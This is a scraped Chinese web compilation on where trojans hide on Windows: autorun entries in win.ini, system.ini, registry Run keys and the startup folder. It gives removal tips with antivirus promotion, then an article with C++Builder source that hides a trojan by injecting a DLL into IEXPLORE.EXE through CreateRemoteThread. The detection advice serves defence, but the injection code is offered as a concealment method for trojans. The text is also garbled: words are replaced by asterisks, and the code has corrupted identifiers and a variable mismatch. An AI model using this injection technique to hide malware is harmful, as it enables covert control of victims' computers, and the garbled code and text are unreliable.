木马隐藏方式_木马程序如何隐藏

hacker|
206

计算机病毒隐藏位置在哪里呢

计算机病毒让我们很难找到!那么计算机病毒都隐藏在什么位置呢?下面由我给你做出详细的计算机病毒隐藏位置介绍!希望对你有帮助!

计算机病毒隐藏位置介绍一:

1、集成到程序中

其实木马也是一个服务器-客户端程序,它为了不让用户能轻易地把它删除,就常常集成到程序里,一旦用户激活木马程序,那么木马文件和某一应用程序捆绑在一起,然后上传到服务端覆盖原文件,这样即使木马被删除了,只要运行捆绑了木马的应用程序,木马又会被安装上去了。绑定到某一应用程序中,如绑定到系统文件,那么每一次Windows启动均会启动木马。

2、隐藏在配置文件中

木马实在是太狡猾,知道菜鸟们平时使用的是图形化界面的 操作系统 ,对于那些已经不太重要的配置文件大多数是不闻不问了,这正好给木马提供了一个藏身之处。而且利用配置文件的特殊作用,木马很容易就能在大家的计算机中运行、发作,从而偷窥或者监视大家。不过,现在这种方式不是很隐蔽,容易被发现,所以在Autoexec.bat和Config.sys中加载木马程序的并不多见,但也不能因此而掉以轻心哦。

3、潜伏在Win.ini中

木马要想达到控制或者监视计算机的目的,必须要运行,然而没有人会傻到自己在自己的计算机中运行这个该死的木马。当然,木马也早有心理准备,知道人类是高智商的动物,不会帮助它工作的,因此它必须找一个既安全又能在系统启动时自动运行的地方,于是潜伏在Win.ini中是木马感觉比较惬意的地方。大家不妨打开Win.ini来看看,在它的[windows]字段中有启动命令“load=”和“run=”,在一般情况下“=”后面是空白的,如果有后跟程序,比方说是这个样子:run=c:\windows\file.exe load=c:\windows\file.exe

这时你就要小心了,这个file.exe很可能是木马哦。

4、伪装在普通文件中

这个 *** 出现的比较晚,不过现在很流行,对于不熟练的windows操作者,很容易上当。具体 *** 是把可执行文件伪装成图片或文本----在程序中把图标改成Windows的默认图片图标, 再把文件名改为*.jpg.exe, 由于Win98默认设置是"不显示已知的文件后缀名",文件将会显示为*.jpg, 不注意的人一点这个图标就中木马了(如果你在程序中嵌一张图片就更完美了)。

5、内置到注册表中

上面的 *** 让木马着实舒服了一阵,既没有人能找到它,又能自动运行,真是快哉!然而好景不长,人类很快就把它的马脚揪了出来,并对它进行了严厉的惩罚!但是它还心有不甘, 总结 了失败教训后,认为上面的藏身之处很容易找,现在必须躲在不容易被人发现的地方,于是它想到了注册表!的确注册表由于比较复杂,木马常常喜欢藏在这里快活,赶快检查一下,有什么程序在其下,睁大眼睛仔细看了,别放过木马哦:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion下所有以“run”开头的键值;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion下所有以“run”开头的键值;HKEY-USERS\.Default\Software\Microsoft\Windows\CurrentVersion下所有以“run”开头的键值。

6、在System.ini中藏身

木马真是无处不在呀!什么地方有空子,它就往哪里钻!这不,Windows安装目录下的System.ini也是木马喜欢隐蔽的地方。还是小心点,打开这个文件看看,它与正常文件有什么不同,在该文件的[boot]字段中,是不是有这样的内容,那就是shell=Explorer.exe file.exe,如果确实有这样的内容,那你就不幸了,因为这里的file.exe就是木马服务端程序!另外,在System.ini中的[386Enh]字段,要注意检查在此段内的“driver=路径\程序名”,这里也有可能被木马所利用。再有,在System.ini中的[mic]、[drivers]、[drivers32]这三个字段,这些段也是起到加载驱动程序的作用,但也是增添木马程序的好场所,现在你该知道也要注意这里喽。

7、隐形于启动组中

有时木马并不在乎自己的行踪,它更注意的是能否自动加载到系统中,因为一旦木马加载到系统中,任你用什么 *** 你都无法将它赶跑(哎,这木马脸皮也真是太厚),因此按照这个逻辑,启动组也是木马可以藏身的好地方,因为这里的确是自动加载运行的好场所。动组对应的文件夹为:C:\windows\start menu\programs\startup,在注册表中的位置:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersionExplorer\ShellFolders Startup="C:\windows\start menu\programs\startup"。要注意经常检查启动组哦!

8、隐蔽在Winstart.bat中

按照上面的逻辑理论,凡是利于木马能自动加载的地方,木马都喜欢呆。这不,Winstart.bat也是一个能自动被Windows加载运行的文件,它多数情况下为应用程序及Windows自动生成,在执行了Win.com并加载了多数驱动程序之后开始执行(这一点可通过启动时按F8键再选择逐步跟踪启动过程的启动方式可得知)。由于Autoexec.bat的功能可以由Winstart.bat代替完成,因此木马完全可以像在Autoexec.bat中那样被加载运行,危险由此而来。

9、捆绑在启动文件中

即应用程序的启动配置文件,控制端利用这些文件能启动程序的特点,将 *** 好的带有木马启动命令的同名文件上传到服务端覆盖这同名文件,这样就可以达到启动木马的目的了。

10、设置在超级连接中

木马的主人在网页上放置恶意代码,引诱用户点击,用户点击的结果不言而喻:开门揖盗!奉劝不要随便点击网页上的链接,除非你了解它,信任它,为它死了也愿意等等。

计算机病毒隐藏位置介绍二:

病毒隐藏的地方很多。通常我们看到很多都是在系统盘下system32目录里。

可能是在游戏的文件夹里!还有就是不明文件夹!小心!

计算机病毒隐藏位置介绍三:

1、病毒大多隐藏在C盘的SYSTEM32文件夹内,这是装载系统的文件夹,不过木马病毒都具有隐藏性,您想自己找是不行的。

2、如果您的电脑中毒了,可以到电脑管家官网下载一个电脑管家。

3、然后使用电脑管家——杀毒——全盘查杀,电脑管家拥有4+1杀毒引擎,基于“云查杀与微特征技术”的新一代电脑管家云查杀引擎和本地反病毒引擎,可以轻松根据微特征和云病毒库,检测出各种流行顽固木马病毒,并做出查杀。

木马会隐藏进程?原理

由于很多新手对安全问题了解不多,所以并不知道自己的计算机中了“木马”该怎么样清除。虽然现在市面上有很多新版杀毒软件都可以自动清除“木马”,但它们并不能防范新出现的“木马”程序,因此最关键的还是要知道“木马”的工作原理,这样就会很容易发现“木马”。相信你看了这篇文章之后,就会成为一名查杀“木马”的高手了。

“木马”程序会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的只要把Form的Visible属性设为False、ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。

当然它也会悄无声息地启动,你当然不会指望用户每次启动后点击“木马”图标来运行服务端,,“木马”会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的 *** ,“木马”都会用上,如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。下面具体谈谈“木马”是怎样自动加载的。

在win.ini文件中,在[WINDOWS]下面,“run=”和“load=”是可能加载“木马”程序的途径,必须仔细留心它们。一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了。当然你也得看清楚,因为好多“木马”,如“AOL Trojan木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件。

在system.ini文件中,在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”,如果不是“explorer.exe”,而是“shell= explorer.exe 程序名”,那么后面跟着的那个程序就是“木马”程序,就是说你已经中“木马”了。

在注册表中的情况最复杂,通过regedit命令打开注册表编辑器,在点击至:“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”目录下,查看键值中有没有自己不熟悉的自动启动文件,扩展名为EXE,这里切记:有的“木马”程序生成的文件很像系统自身文件,想通过伪装蒙混过关,如“Acid Battery v1.0木马”,它将注册表“HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”下的Explorer 键值改为Explorer=“C:\WINDOWS\expiorer.exe”,“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序,如:“HKEY-CURRENT-USER\Software\Microsoft\Windows\CurrentVersion\Run”、“HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run”的目录下都有可能,更好的办法就是在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名,再在整个注册表中搜索即可。

知道了“木马”的工作原理,查杀“木马”就变得很容易,如果发现有“木马”存在,最安全也是最有效的 *** 就是马上将计算机与 *** 断开,防止黑客通过 *** 对你进行攻击。然后编辑win.ini文件,将[WINDOWS]下面,“run=“木马”程序”或“load=“木马”程序”更改为“run=”和“load=”;编辑system.ini文件,将[BOOT]下面的“shell=‘木马’文件”,更改为:“shell=explorer.exe”;在注册表中,用regedit对注册表进行编辑,先在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名,再在整个注册表中搜索并替换掉“木马”程序,有时候还需注意的是:有的“木马”程序并不是直接将“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下的“木马”键值删除就行了,因为有的“木马”如:BladeRunner“木马”,如果你删除它,“木马”会立即自动加上,你需要的是记下“木马”的名字与目录,然后退回到MS-DOS下,找到此“木马”文件并删除掉。重新启动计算机,然后再到注册表中将所有“木马”文件的键值删除。至此,我们就大功告成了。

小知识:

“木马”全称是“特洛伊木马(Trojan Horse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。在Internet上,“特洛伊木马”指一些程序设计人员在其可从 *** 上下载(Download)的应用程序或游戏中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪

解决办法:现在下载个360安全卫士,为什么推荐它呢?由于它跟卡吧斯基联手,下一个安全卫士能免费试用三个月卡吧斯基,这样你的问题就能解决。

下载安全卫士后它再把卡吧斯基装上,这在安全卫士杀马程序就能操作的,无须到网站上下,方便简洁。下完后它会提示你把现有的杀毒软件谢载掉,把它谢完重启后再装卡吧斯基,最后装完升级,重启进入安全模式。这样差不多能百分百把木马干掉,我还没试过这 *** 不爽的。你试试吧

360小球的病毒木马程序怎么让它不显示

看一下木马查杀移除信任区文件,取消共享,保持 *** 畅通,全盘查杀解决。同时也要卸载万能五笔输入法。

拓展:木马病毒

木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。木马病毒其实是计算机黑客用于远程控制计算机的程序,将控制程序寄生于被控制的计算机系统中,里应外合,对被感染木马病毒的计算机实施操作。

一般的木马病毒程序主要是寻找计算机后门,伺机窃取被控计算机中的密码和重要文件等。可以对被控计算机实施监控、资料修改等非法操作。木马病毒具有很强的隐蔽性,可以根据黑客意图突然发起攻击

Windows NT/系统进程的隐藏技术

摘要 进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库 *** ,较好地解决了这一 问题 ,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。

关键字进程 线程 木马 动态链接库

木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。

本文 分析 了Windows NT/2000系统下进程隐藏的基本技术和 *** ,并着重讨论运用线程嫁接技术如何实现Windows NT/2000系统中进程的隐藏。

1 基本原理

在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在Windows NT/2000中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过Windows NT/2000的任务管理器,Windows NT/2000的任务管理器均能轻松显示出木马进程,难道在Windows NT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的 *** 之一,随着入侵检测软件的不断 发展 ,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在Windows NT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,之一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种 *** 为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

2 实现 ***

为了弄清实现 *** ,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

运行DLL *** 有多种,但其中最隐蔽的. *** 是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。 理论 上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种 *** 进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

远程线程技术指的是通过在另一个进程中创建远程线程的 *** 进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

   3 实施步骤

1) 用Process32Next()函数找到宿主进程,获取宿主进程ID,并用

OpenProcess()函数打开宿主进程。

2) 用VirtualAllocEx()函数分配远程进程地址空间中的内存。

3) 用WriteProcessMemory()函数将待隐藏的DLL的路径名。

4) 拷贝到步骤二已经分配的内存中。

5) 用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。

6) 用CreateRemoteThread()函数在远程进程中创建一个线程。

7) 它调用正确的LoadlibraryA()函数。

8) 为它传递步骤二中分配的内存地址。

4 具体实例

下面是在C++Builder 4.0环境下编写的运用远程线程技术隐藏木马的程序代码:

#include

#include

#include

#include//该头文件包涵了进程操作的API函数

#pragma hdrstop

#include "Unit1.h"

#pragma package( *** art_init)

#pragma resource "*.dfm"

Insisting pszLibFileName;//存放待隐藏的DLL文件名

HANDLE hProcessSnap=NULL;//进程快照句柄

HANDLE hRemoteProcess;//远程进程句柄

LPVOID pszLibFileRemote;//远程进程中分配给文件名的空间

HMODULE phmd;//存放kernel32.dll句柄

HANDLE hRemoteThread1=NULL;//存放远程线程句柄

TForm1 *Form1;

//---------------------------------------------------------

__fast call TForm1::TForm1(TComponent* Owner)

: TForm(Owner)

{

}

//---------------------------------------------------------

void __fastcall TForm1::Button1Click(TObject *Sender)

{

PROCESSENTRY32 pe32={0};

DWORD dwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打开进程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshot failed","",MB_OK);

exit(0);

} //失败返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32First(hProcessSnap,pe32)) //获取之一个进程

{

do{

AnsiString te;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")|| te.Pos("IEXPLORE.EXE"))

//找到宿主进程,以IEXPLORE.EXE为例

{ dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,pe32));//获取下一个进程

}

else

{

MessageBox(NULL,"取之一个进程失败","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打开远程进程

pszLibFileName=GetCurrentDir()+""+"hide.dll";

// 假设hide.dll是待隐藏的进程

int cb=(1+pszLibFileName.Length())*sizeof(char);// 计算 dll文件名长度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申请存放文件名的空间

BOOL ReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名写入申请的空间

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//获取动态链接库函数地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//创建远程线程

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//关闭远程线程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//关闭进程快照

}

该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。

至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:

#include

#include

#pragma hdrstop

#pragma argsused

BOOL WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)

{

char szProcessId[64];

switch(reason)

{

case DLL_PROCESS_ATTACH:

{//获取当前进程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

return TRUE;

}

当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具

也能看到:

Process ID: 1208

C:WINNTIEXPLORE.EXE (0x00400000)

……

C:WINNThide.dll (0x100000000)

……

这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。

5 结束语

进程隐藏技术和 *** 有很多,而且这一技术 发展 也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供 参考 ,本文抛砖引玉,不当之处诚恳批评指正。

参考 文献

1 Jeffrey Richter著 王建华、张焕生、侯丽坤等译 Windows核心编程 机械 工业 出版社2

K.赖斯多夫 H. 亨德森著 希望图书创作室译 Borland C++ Builder 实用培训教程.

0条大神的评论

发表评论